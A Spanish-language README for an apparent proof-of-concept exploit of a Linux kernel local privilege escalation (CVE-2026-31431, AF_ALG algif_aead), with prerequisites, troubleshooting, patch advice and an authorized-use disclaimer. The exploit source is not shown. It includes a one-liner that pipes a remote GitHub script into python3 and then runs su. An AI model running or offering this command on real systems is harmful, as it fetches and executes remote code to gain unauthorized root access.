
Prueba de concepto educativa que demuestra la escalada local de privilegios en el kernel de Linux mediante AF_ALG algif_aead (CVE-2026-31431). Incluye instrucciones de uso y orientación de mitigación para investigación defensiva.
Prueba de concepto educativa para CVE-2026-31431, también conocida como Copy Fail, una vulnerabilidad de escalada de privilegios local en el kernel de Linux que involucra la interfaz criptográfica AF_ALG / algif_aead.
[!WARNING] Este repositorio se proporciona estrictamente con fines educativos, defensivos y de investigación de seguridad autorizada únicamente.
No ejecute este código en sistemas que no le pertenezcan o en sistemas donde no tenga permiso escrito explícito para realizar pruebas.
El uso no autorizado puede ser ilegal.
CVE-2026-31431 es una vulnerabilidad de escalada de privilegios local en el kernel de Linux que afecta al subsistema criptográfico del kernel.
La vulnerabilidad involucra la ruta AEAD expuesta a través de la interfaz AF_ALG y puede permitir que un usuario local sin privilegios interfiera con los datos de la caché de páginas asociados con archivos legibles, lo que potencialmente podría conducir a una escalada de privilegios en sistemas vulnerables.
Este repositorio contiene una prueba de concepto educativa mínima destinada a entornos de laboratorio controlados.
El sistema objetivo debe exponer el algoritmo AEAD AF_ALG requerido.
Puede verificarlo con:
grep -i "authencesn\|authenc" /proc/crypto
El PoC espera soporte para un algoritmo similar a:
authencesn(hmac(sha256),cbc(aes))
Si el algoritmo no está disponible, el PoC puede fallar con un error como:
FileNotFoundError: [Errno 2] No such file or directory
Esto significa que el algoritmo criptográfico requerido del kernel no está disponible en el sistema.
Clone el repositorio:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Ejecute el PoC:
python3 poc.py
O ejecútelo directamente:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Algunos sistemas Linux usan /bin/su en lugar de /usr/bin/su. Puede verificar la ruta correcta con:
which su
Si es necesario, ajuste la ruta de destino dentro de poc.py.
Si obtiene FileNotFoundError: [Errno 2] No such file or directory al vincularse a authencesn(hmac(sha256),cbc(aes)), entonces el algoritmo requerido del kernel no está disponible.
Verifique los algoritmos criptográficos disponibles:
cat /proc/crypto
o más específicamente:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Si el PoC hace referencia a /usr/bin/su pero su sistema usa /bin/su, verifique con:
which su
Luego actualice la ruta en poc.py en consecuencia.
Los defensores deben actualizar a una versión parcheada del kernel de Linux proporcionada por el proveedor de su distribución.
Después de actualizar el kernel, reinicie el sistema para asegurarse de que el kernel parcheado esté activo.
Las mitigaciones temporales pueden incluir restringir el acceso a la funcionalidad criptográfica afectada del kernel según el entorno y la distribución.
Este proyecto está destinado únicamente a:
El autor no es responsable del mal uso, daños o actividad ilegal causada por este código.
Úselo únicamente en sistemas donde tenga autorización explícita.
Este proyecto está licenciado bajo la Licencia MIT.